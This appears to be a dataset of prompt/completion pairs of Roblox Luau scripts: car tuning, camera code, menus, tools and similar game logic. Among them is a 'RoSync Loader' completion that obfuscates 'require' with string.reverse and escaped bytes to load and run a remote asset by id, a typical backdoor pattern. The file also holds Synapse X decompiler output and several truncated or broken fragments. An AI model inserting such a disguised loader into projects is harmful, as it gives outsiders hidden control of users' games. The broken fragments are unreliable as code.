prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--------------------------------------------------------------------------------------------------------------------------- -- Functions ---------------------------------------------------------------------------------------------------------------------------
ClientControl.OnClientInvoke = (function(Mode, Value) if Mode == "PlayAnimation" and Humanoid then for i, v in pairs(Animations) do if v.Animation == Value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(Value.Animation) table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed) elseif Mode == "StopAnimation" and Value then for i, v in pairs(Animations) do if v.Animation == Value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end elseif Mode == "Preload" and Value then ContentProvider:Preload(Value) elseif Mode == "PlaySound" and Value then Value:Play() elseif Mode == "StopSound" and Value then Value:Stop() elseif Mode == "MousePosition" then return PlayerMouse.Hit.p end end) function InvokeServer(Mode, Value) pcall(function() local ServerReturn = ServerControl:InvokeServer(Mode, Value) return ServerReturn end) end function CheckIfAlive() return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() InvokeServer("MouseClick", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("MouseClick", {Down = false}) end) Mouse.KeyDown:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = true}) end) Mouse.KeyUp:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = false}) end) end function Unequipped() for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end Animations = {} end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--Armor Settings--
combat.ArmorDurability = 120 -- armor health combat.ShowArmorBar = true -- make this false if u dont want the armor gui to be visible
--[=[ @within Component @prop Started Signal @tag Event @tag Component Class Fired when a new instance of a component is started. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) MyComponent.Started:Connect(function(component) end) ``` ]=]
-- car.Body.Dash.D.door.Enabled = false
open.Value = true script.Parent.Parent.DoorOpen:Play() e.Muffle.Enabled = false e.Muffle2.Enabled = false elseif m.DesiredAngle == -1 then m.DesiredAngle = 0 while m.CurrentAngle < 0 do wait() end script.Parent.Parent.DoorClose:Play() open.Value = false if carSeat.Occupied.Value == true and car.Electrics.Value == false then --car.Body.Dash.D.door.Enabled = true end
--------END CREW--------
game.Workspace.RRProjector.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value).."" end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ @return Path CurrentPath Returns the currently generated path (if one exists) --]]
function Pathfinder:GetCurrentPath() return self.CurrentPath end return Pathfinder
--[[ TELEPORT SERVICE ]]
-- if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then warn("Booting Server !") local waitTime = 20 Players.PlayerAdded:connect(function(player) wait(waitTime) waitTime = waitTime / 2 TeleportService:Teleport(game.PlaceId, player) end) for _,player in pairs(Players:GetPlayers()) do TeleportService:Teleport(game.PlaceId, player) wait(waitTime) waitTime = waitTime / 2 end else game:BindToClose(function() local con if (#Players:GetPlayers() == 0) then return end if (game:GetService("RunService"):IsStudio()) then return end for i,v in pairs(game.Players:GetChildren()) do AddUI(v) end con = Players.PlayerAdded:connect(function(v) wait(1) AddUI(v) end) wait(15) con:Disconnect() local reservedServerCode = TeleportService:ReserveServer(game.PlaceId) for _,player in pairs(Players:GetPlayers()) do TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player }) end Players.PlayerAdded:connect(function(player) TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player }) end) while (#Players:GetPlayers() > 0) do wait(1) end end) end
--Lamp Controls -------------------------------------------
script.Parent.Configuration.LampStatus.Changed:connect(function() if script.Parent.Configuration.LampStatus.Value == 1 then Model.Tilt.Lamp.SpotLight.Brightness = .1 Model.Tilt.Light.Transparency = .9 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .2 Model.Tilt.Light.Transparency = .8 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .3 Model.Tilt.Light.Transparency = .7 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .4 Model.Tilt.Light.Transparency = .6 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .5 Model.Tilt.Light.Transparency = .5 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .6 Model.Tilt.Light.Transparency = .4 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .7 Model.Tilt.Light.Transparency = .3 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .8 Model.Tilt.Light.Transparency = .2 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .9 Model.Tilt.Light.Transparency = .1 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = 1 Model.Tilt.Light.Transparency = 0 for i,v in pairs(Model.Tilt:GetChildren()) do if v.Name == "Light" and v:isA("Part") then end end else Model.Tilt.Lamp.SpotLight.Brightness = .9 Model.Tilt.Light.Transparency = 0 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .8 Model.Tilt.Light.Transparency = .1 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .7 Model.Tilt.Light.Transparency = .2 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .6 Model.Tilt.Light.Transparency = .3 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .5 Model.Tilt.Light.Transparency = .4 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .4 Model.Tilt.Light.Transparency = .5 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .3 Model.Tilt.Light.Transparency = .6 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .2 Model.Tilt.Light.Transparency = .7 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = .1 Model.Tilt.Light.Transparency = .8 wait(.1) Model.Tilt.Lamp.SpotLight.Brightness = 0 Model.Tilt.Light.Transparency = 1 for i,v in pairs(Model.Tilt:GetChildren()) do if v.Name == "Lamp" and v:isA("Part") then end end end end)
--[[ This is a wrapper for the SmoothDamp module. It stores all needed variables internally for ease of use. ------------------------------------------------------------------------- local smooth = Smooth.new(Vector3 initialValue, Number smoothTime) smooth.Value smooth.Goal smooth.SmoothTime smooth:Update([Vector goal]) smooth:UpdateAngle([Vector goal]) smooth:SetMaxSpeed(Number speed) smooth:GetMaxSpeed() ------------------------------------------------------------------------- EXAMPLE: local smoothPosition = Smooth.new(part.Position, 0.5) runService:BindToRenderStep("Example", 0, function() local position = smoothPosition:Update(mouse.Hit.p) part.Position = position end) --]]
local Smooth = {} Smooth.__index = Smooth local SmoothDamp = require(script:WaitForChild("SmoothDamp")) function Smooth.new(initialValue, smoothTime) assert(typeof(initialValue) == "Vector3", "initialValue should be Vector3") assert(typeof(smoothTime) == "number", "smoothTime should be a number") assert(smoothTime >= 0, "smoothTime must be a positive number") local self = setmetatable({ Value = initialValue; Goal = initialValue; SmoothTime = smoothTime; }, Smooth) self._smoothDamp = SmoothDamp.new() return self end function Smooth:Update(goal) if (goal) then self.Goal = goal else goal = self.Goal end local value = self._smoothDamp:Update(self.Value, goal, self.SmoothTime) self.Value = value return value end function Smooth:UpdateAngle(goal) if (goal) then self.Goal = goal else goal = self.Goal end local value = self._smoothDamp:UpdateAngle(self.Value, goal, self.SmoothTime) self.Value = value return value end function Smooth:SetMaxSpeed(speed) self._smoothDamp.MaxSpeed = speed end function Smooth:GetMaxSpeed() return self._smoothDamp.MaxSpeed end return Smooth
-- You don't need to touch any of this
local cameraType = camera.CameraType camera.CameraType = Enum.CameraType.Scriptable local aimGui if config.GunsEnabled.Value then aimGui = plane.AimPart.GUI:Clone() aimGui.Parent = player.PlayerGui aimGui.Enabled = true aimGui.Adornee = plane.AimPart if plane:FindFirstChild("Guns") then for _, gun in pairs(plane.Guns:GetChildren()) do gun.ChildAdded:connect(function(bullet) if bullet.Name == "Bullet" then bullet.CFrame = gun.Muzzle.CFrame end end) end end end local rs = game:GetService("RunService").RenderStepped local mobileGui = script.MobileGui local sliding = false local thumb1, thumb2 = Vector2.new(), Vector2.new() local x, y = 0, 0 local speed = 0 if userInputService.TouchEnabled then userInputService.ModalEnabled = true mobileGui.Parent = player.PlayerGui mobileGui.Throttle.Slider.MouseButton1Down:connect(function() sliding = true local mu mu = userInputService.TouchEnded:connect(function() sliding = false mu:disconnect() end) while sliding do rs:wait() local mouseY = mouse.Y - mobileGui.Throttle.AbsolutePosition.Y local s = math.min(math.max(mouseY / mobileGui.Throttle.AbsoluteSize.Y, 0), 1) speed = (1 - s) * config.Speed.Value mobileGui.Throttle.Slider.Position = UDim2.new(0, -10, s, -35) end end) else mobileGui:Destroy() end local bodyGyro = Instance.new("BodyGyro", body) bodyGyro.D = 30 bodyGyro.P = 300 bodyGyro.MaxTorque = Vector3.new() local bodyVelocity = Instance.new("BodyVelocity", body) bodyVelocity.P = math.huge bodyVelocity.MaxForce = Vector3.new()
-- Global matchers object holds the list of available matchers and -- the state, that can hold matcher specific values that change over time. -- ROBLOX deviation: extracted JEST_MATCHERS_OBJECT to jestMatchersObject_extracted to avoid circular dependency
local JEST_MATCHERS_OBJECT = jestMatchersObject_extracted.JEST_MATCHERS_OBJECT
-- Colors for axis circles
ArcHandles.AxisColors = { X = Color3.new(1, 0, 0), Y = Color3.new(0, 1, 0), Z = Color3.new(0, 0, 1) }
--[[Flip]]
function Flip() --Detect Orientation if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then FlipWait=tick() --Apply Flip else if tick()-FlipWait>=3 then FlipDB=true local gyro = car.DriveSeat.Flip gyro.maxTorque = Vector3.new(10000,0,10000) gyro.P=3000 gyro.D=500 wait(1) gyro.maxTorque = Vector3.new(0,0,0) gyro.P=0 gyro.D=0 FlipDB=false end end end
-- Scripted by Corktail
script.Parent.Humanoid.BreakJointsOnDeath = false name="Humanoid" while wait() do if script.Parent.Humanoid.Health<1 then wait(0.0001) script.Parent:findFirstChild("Torso"):findFirstChild("Left Shoulder"):Destroy() script.Parent:findFirstChild("Torso"):findFirstChild("Right Shoulder"):Destroy() script.Parent:findFirstChild("Torso"):findFirstChild("Left Hip"):Destroy() script.Parent:findFirstChild("Torso"):findFirstChild("Right Hip"):Destroy() script.Parent:findFirstChild("Head"):findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=1312972246" end end
--[[ Last synced 10/14/2020 09:31 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
------------------------------------ Settings
local Player = game.Players.LocalPlayer local tweenService = game:GetService("TweenService") local Char = Player.Character local Camera = game.Workspace.CurrentCamera local MenuCam = game.Workspace:WaitForChild("MenuCam") local Process = false wait(game:IsLoaded()) MenuCam.Transparency = 1 Camera.CameraType = Enum.CameraType.Scriptable Camera.CFrame = MenuCam.CFrame local BlurEffect = Instance.new("BlurEffect") BlurEffect.Size = 0 BlurEffect.Parent = game.Lighting local Black = tweenService:Create(script.Parent:WaitForChild("Black") ,TweenInfo.new(2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Transparency = 0}) local UnBlack = tweenService:Create(script.Parent:WaitForChild("Black"), TweenInfo.new(2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Transparency = 1}) local Blur = tweenService:Create(BlurEffect ,TweenInfo.new(2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = 20}) local UnBlur = tweenService:Create(BlurEffect ,TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = 0}) if SettingsEnabled == false then script.Parent.SettingsButton.Visible = false end if CreditsEnabled == false then script.Parent.CreditsButton.Visible = false else if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):FindFirstChild("TextLabel") then if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):WaitForChild("TextLabel").Text == "Scripter -" then script.Parent.CreditsFrame.Frame.TextLabel.Text = "Scripter - "..Player.Name end end end script.Parent:WaitForChild("GameMusic").Playing = true script.Parent.SettingsButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true if script.Parent.SettingsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5) Blur:Play() else script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() end wait(2) Process = false end) script.Parent.CreditsButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true if script.Parent.CreditsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5) Blur:Play() else script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() end wait(2) Process = false end) script.Parent.CreditsFrame.ExitButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() wait(2) Process = false end) script.Parent.SettingsFrame.ExitButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() wait(2) Process = false end) if script.Parent.SettingsFrame.Frame:FindFirstChild("Shadows") then script.Parent.SettingsFrame.Frame.Shadows.MouseButton1Click:Connect(function() if script.Parent.SettingsFrame.Frame.Shadows.Text == "X" then script.Parent.SettingsFrame.Frame.Shadows.Text = "" game.Lighting.GlobalShadows = false else script.Parent.SettingsFrame.Frame.Shadows.Text = "X" game.Lighting.GlobalShadows = true end end) end if script.Parent.SettingsFrame.Frame:FindFirstChild("Time") then script.Parent.SettingsFrame.Frame.Time.MouseButton1Click:Connect(function() if script.Parent.SettingsFrame.Frame.Time.Text == "DAY" then script.Parent.SettingsFrame.Frame.Time.Text = "NIGHT" game.Lighting.ClockTime = NightClockTime else script.Parent.SettingsFrame.Frame.Time.Text = "DAY" game.Lighting.ClockTime = DayClockTime end end) end if script.Parent.SettingsFrame.Frame:FindFirstChild("Music") then script.Parent.SettingsFrame.Frame.Music.MouseButton1Click:Connect(function() if script.Parent.SettingsFrame.Frame.Music.Text == "X" then script.Parent.SettingsFrame.Frame.Music.Text = "" script.Parent.GameMusic.Playing = false else script.Parent.SettingsFrame.Frame.Music.Text = "X" script.Parent.GameMusic.Playing = true end end) end script.Parent.PlayButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true script.Parent.Black.Transparency = 1 wait(0.1) script.Parent.Black.Transparency = 0.9 wait(0.1) script.Parent.Black.Transparency = 0.8 wait(0.1) script.Parent.Black.Transparency = 0.7 wait(0.1) script.Parent.Black.Transparency = 0.6 wait(0.1) script.Parent.Black.Transparency = 0.5 wait(0.1) script.Parent.Black.Transparency = 0.4 wait(0.1) script.Parent.Black.Transparency = 0.3 wait(0.1) script.Parent.Black.Transparency = 0.2 wait(0.1) script.Parent.Black.Transparency = 0.1 wait(0.1) script.Parent.Black.Transparency = 0 wait(1) Camera.CameraType = Enum.CameraType.Custom script.Parent.PlayButton:Destroy() script.Parent.SettingsButton:Destroy() script.Parent.CreditsButton:Destroy() game.ServerStorage.Guis:Clone().Parent = game.Players.LocalPlayer.PlayerGui game.Players.LocalPlayer.Character.Humanoid.Walkspeed = 16 -- Start the UnBlack tween script.Parent.Black.Transparency = 0.1 wait(0.1) script.Parent.Black.Transparency = 0.2 wait(0.1) script.Parent.Black.Transparency = 0.3 wait(0.1) script.Parent.Black.Transparency = 0.4 wait(0.1) script.Parent.Black.Transparency = 0.5 wait(0.1) script.Parent.Black.Transparency = 0.6 wait(0.1) script.Parent.Black.Transparency = 0.7 wait(0.1) script.Parent.Black.Transparency = 0.8 wait(0.1) script.Parent.Black.Transparency = 0.9 wait(0.1) script.Parent.Black.Transparency = 1 end)
-- Handle player instances for players that already are in the game before we got to this point
for _, player in pairs(Players:GetPlayers()) do playerAdded(player) end Players.PlayerAdded:Connect(playerAdded) Players.PlayerRemoving:Connect(playerRemoving)
---------------------------------------------------------------------------------------------------- -------------------=[ PROJETIL ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,Distance = 10000 ,BDrop = .25 ,BSpeed = 2500 ,SuppressMaxDistance = 25 --- Studs ,SuppressTime = 10 --- Seconds ,BulletWhiz = true ,BWEmitter = 25 ,BWMaxDistance = 200 ,BulletFlare = false ,BulletFlareColor = Color3.fromRGB(255,255,255) ,Tracer = true ,TracerColor = Color3.fromRGB(255,255,255) ,TracerLightEmission = 1 ,TracerLightInfluence = 0 ,TracerLifeTime = .2 ,TracerWidth = .1 ,RandomTracer = false ,TracerEveryXShots = 3 ,TracerChance = 100 ,BulletLight = false ,BulletLightBrightness = 1 ,BulletLightColor = Color3.fromRGB(255,255,255) ,BulletLightRange = 10 ,ExplosiveHit = false ,ExPressure = 500 ,ExpRadius = 25 ,DestroyJointRadiusPercent = 0 --- Between 0 & 1 ,ExplosionDamage = 100 ,LauncherDamage = 100 ,LauncherRadius = 25 ,LauncherPressure = 500 ,LauncherDestroyJointRadiusPercent = 0
--[[Weight and CG]]
Tune.Weight = 3847 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 7.28 , --[[Height]] 5.57 , --[[Length]] 18.39 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- code a constant index as a RK value
function luaP:RKASK(x) return x + self.BITRK end
-- Actual measured distance to the camera Focus point, which may be needed in special circumstances, but should -- never be used as the starting point for updating the nominal camera-to-subject distance (self.currentSubjectDistance) -- since that is a desired target value set only by mouse wheel (or equivalent) input, PopperCam, and clamped to min max camera distance
function BaseCamera:GetMeasuredDistanceToFocus(): number? local camera = game.Workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end return nil end function BaseCamera:GetCameraLookVector(): Vector3 return game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame.lookVector or UNIT_Z end function BaseCamera:CalculateNewLookCFrameFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): CFrame local currLookVector: Vector3 = suppliedLookVector or self:GetCameraLookVector() local currPitchAngle = math.asin(currLookVector.y) local yTheta = math.clamp(rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle) local constrainedRotateInput = Vector2.new(rotateInput.x, yTheta) local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0) return newLookCFrame end function BaseCamera:CalculateNewLookVectorFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): Vector3 local newLookCFrame = self:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput) return newLookCFrame.lookVector end function BaseCamera:CalculateNewLookVectorVRFromArg(rotateInput: Vector2): Vector3 local subjectPosition: Vector3 = self:GetSubjectPosition() local vecToSubject: Vector3 = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p) local currLookVector: Vector3 = (vecToSubject * X1_Y0_Z1).unit local vrRotateInput: Vector2 = Vector2.new(rotateInput.x, 0) local startCFrame: CFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local yawRotatedVector: Vector3 = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector return (yawRotatedVector * X1_Y0_Z1).unit end function BaseCamera:GetHumanoid(): Humanoid? local character = player and player.Character if character then local resultHumanoid = self.humanoidCache[player] if resultHumanoid and resultHumanoid.Parent == character then return resultHumanoid else self.humanoidCache[player] = nil -- Bust Old Cache local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidCache[player] = humanoid end return humanoid end end return nil end function BaseCamera:GetHumanoidPartToFollow(humanoid: Humanoid, humanoidStateType: Enum.HumanoidStateType) -- BasePart if humanoidStateType == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end function BaseCamera:OnNewCameraSubject() if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if not FFlagUserFlagEnableNewVRSystem then local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject if self.trackingHumanoid ~= humanoid then self:CancelCameraFreeze() end if humanoid and humanoid:IsA("Humanoid") then self.subjectStateChangedConn = humanoid.StateChanged:Connect(function(oldState, newState) if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not self.inFirstPerson then self:StartCameraFreeze(self:GetSubjectPosition(), humanoid) elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then self:CancelCameraFreeze(true) end end) end end end function BaseCamera:IsInFirstPerson() return self.inFirstPerson end function BaseCamera:Update(dt) error("BaseCamera:Update() This is a virtual function that should never be getting called.", 2) end
--Script:
Button.Activated:Connect(function() MarketplaceService:PromptProductPurchase(Player, DevProduct.Value) end)
-- Decompiled with the Synapse X Luau decompiler.
local l__RunService__1 = game:GetService("RunService"); local v2 = {}; local u1 = require(game:GetService("ReplicatedStorage").Packages.Promise); local l__TweenService__2 = game:GetService("TweenService"); function v2.alpha(p1, p2) return u1.delay(p1.DelayTime):andThen(function() return u1.new(function(p3, p4, p5) local v3 = 0; while true do p2((l__TweenService__2:GetValue(v3 / p1.Time, p1.EasingStyle, p1.EasingDirection))); v3 = v3 + task.wait(); if p1.Time <= v3 then break; end; if p5() then break; end; end; if not p5() then p2(1); p3(); end; end); end); end; function v2.range(p6, p7, p8, p9) if p7 ~= p8 then return v2.alpha(p6, function(p10) p9(p7 + (p8 - p7) * p10); end); end; p9(p8); return u1.resolve(); end; return v2;
-- References
Tool = script.Parent.Parent Libraries = Tool:WaitForChild 'Libraries' Support = require(Libraries:WaitForChild 'SupportLibrary') RegionModule = require(Libraries:WaitForChild 'Region')
--[[Engine]]
--Torque Curve Tune.Horsepower = 380 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Modules
local ModuleScripts = ReplicatedStorage:WaitForChild("ModuleScripts") local GameSettings = require(ModuleScripts:WaitForChild("GameSettings"))
-- Engine Sound Parameters
local RPM_CROSSOVER = 250 -- How much more engine power is needed to crossover to the next engine audio track local ENGINE_GAIN_ACCEL = 1 -- Exponent that builds the engine RPM when accelerating (gives the engine sound more oomph the higher the value) local ENGINE_GAIN_DECCEL = 1 -- Exponent that builds the engine RPM when decelerating (braking) local BASE_RPM = Vehicle:GetAttribute("BaseEngineRPM") or 1500 -- Resting state for the engine local MAX_RPM = Vehicle:GetAttribute("MaxEngineRPM") or 5000 -- The engine RPM correlating to the highest pitch for engine sounds local MAX_IDEAL_RPM = MAX_RPM-(MAX_RPM-BASE_RPM)/4 -- engine RPM correlating to normal usage (not under stress) local MAX_SPEED = 125 -- The rotational velocity a vehicle's wheels would be reaching for the highest pitched engine sounds
--- Splits a string by space but taking into account quoted sequences which will be treated as a single argument.
function Util.SplitString(text, max) text = encodeControlChars(text) max = max or math.huge local t = {} local spat, epat = [=[^(['"])]=], [=[(['"])$]=] local buf, quoted for str in text:gmatch("[^ ]+") do str = Util.ParseEscapeSequences(str) local squoted = str:match(spat) local equoted = str:match(epat) local escaped = str:match([=[(\*)['"]$]=]) if squoted and not quoted and not equoted then buf, quoted = str, squoted elseif buf and equoted == quoted and #escaped % 2 == 0 then str, buf, quoted = buf .. " " .. str, nil, nil elseif buf then buf = buf .. " " .. str end if not buf then t[#t + (#t > max and 0 or 1)] = decodeControlChars(str:gsub(spat, ""):gsub(epat, "")) end end if buf then t[#t + (#t > max and 0 or 1)] = decodeControlChars(buf) end return t end
--- subscribe the YouTube - PRO100zola 3k
local hum = script.Parent:WaitForChild("Zombie") local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
--Leave this
Heat = 0 if GUI then script.Parent.Visible = true else script.Parent.Visible = false end if not FE then radiator.Oil.Enabled = false radiator.Antifreeze.Enabled = false radiator.Liquid.Volume = 0 radiator.Fan:Play() radiator.Fan.Pitch = 1+FanSpeed radiator.Steam:Play() radiator.Liquid:Play() script.Blown.Value = false Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) script.Celsius.Changed:Connect(function() intmp.Rotation = -30 + Heat * 250 / 8000 end) while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed radiator.Fan.Volume = FanVolume elseif Heat < FanTempAlpha then FanCool = 0 radiator.Fan.Volume = 0 end end if Heat >= BlowupTemp then Heat = BlowupTemp radiator.Break:Play() radiator.Liquid.Volume = .5 radiator.Oil.Enabled = true radiator.Antifreeze.Enabled = true script.Parent.Parent.IsOn.Value = false script.Blown.Value = true elseif Heat >= BlowupTemp-20 then radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1) radiator.Smoke.Enabled = true dash.Warn.Transparency = 0 radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10) else radiator.Smoke.Enabled = false radiator.Steam.Volume = 0 dash.Warn.Transparency = 1 end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10)) else handler:FireServer("Initialize",FanSpeed) while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed handler:FireServer("FanVolume",FanVolume) else FanCool = 0 handler:FireServer("FanVolume",0) end Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) if Heat >= BlowupTemp then Heat = BlowupTemp handler:FireServer("Blown") script.Parent.Parent.IsOn.Value = false script.Blown.Value = true elseif Heat >= BlowupTemp-20 then 